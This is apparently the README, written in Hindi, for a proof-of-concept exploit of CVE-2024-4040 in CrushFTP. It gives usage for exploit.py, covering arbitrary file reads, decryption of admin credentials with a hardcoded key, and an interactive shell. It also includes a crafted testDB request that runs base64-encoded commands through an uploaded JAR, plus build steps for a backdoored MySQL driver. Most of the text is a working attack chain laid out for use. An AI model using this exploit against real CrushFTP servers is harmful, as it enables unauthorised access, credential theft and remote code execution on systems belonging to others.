
CVE-2024-4040 (CrushFTP) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो अनधिकृत फ़ाइल पढ़ने, क्रेडेंशियल डिक्रिप्शन, और दुर्भावनापूर्ण JAR अपलोड और testDB दुरुपयोग के माध्यम से रिमोट कोड निष्पादन प्रदान करता है।
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volumn>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest
exploit.py और decrypt.java के माध्यम से पासवर्ड प्राप्त करें और डिक्रिप्ट करें। इसका कारण यह है कि कुंजी हार्डकोडेड है, इसलिए इसे डिक्रिप्ट किया जा सकता है और मनमानी फ़ाइलें पढ़ी जा सकती हैं।crushadmin मौजूद नहीं है, तो CrushFTP.log प्राप्त करने का प्रयास करें, जिसमें खाता जानकारी हो सकती है।
<INCLUDE>CrushFTP.log</INCLUDE>

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
user.XML फ़ाइल प्राप्त करने का प्रयास किया जाता है।crushadmin एडमिन खाता लिया जाता है।decrypt.java का उपयोग करके इसे डिक्रिप्ट किया जाता है।--shell फीचर RCE के परिणाम देखने में सुविधा प्रदान करता है। नीचे दी गई विधि से jar फ़ाइल अपलोड करने के बाद, --jar-path और --headers निर्दिष्ट करके कमांड के निष्पादन परिणाम देखे जा सकते हैं:
--headers में लॉगिन के बाद का Cookie देना अनिवार्य है, उदाहरण: --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"--jar-path डिफ़ॉल्ट रूप से /tmp/mysql_cmd_db_user_final_with_echo_base64.jar होता है; यदि यह भिन्न स्थान पर है, तो पथ निर्दिष्ट करना सुनिश्चित करें। सैद्धांतिक रूप से सापेक्ष पथ भी काम कर सकता है, लेकिन पूर्ण पथ का उपयोग करने की अनुशंसा की जाती है।exit टाइप करें।python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"

User Manager ढूंढें और बाईं ओर के उपयोगकर्ता पर क्लिक करें, फिर जिस फ़ोल्डर को मैप करना चाहते हैं, उसे User's Stuff पर खींचें। अंत में अनुमतियाँ समायोजित करें, upload को चेक करना सुनिश्चित करें।


testDB फीचर है जिसमें कोई jar फ़ाइल और ड्राइवर ऑब्जेक्ट निर्दिष्ट कर सकता है, और अपलोड करने की सुविधा भी है; इन दोनों को जोड़कर RCE प्राप्त किया जा सकता है।command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
id है।db_user में base64 एनकोडेड कमांड पास करके इसे निष्पादित किया जा सकता है।mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jarcp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.javajavac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.javajar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *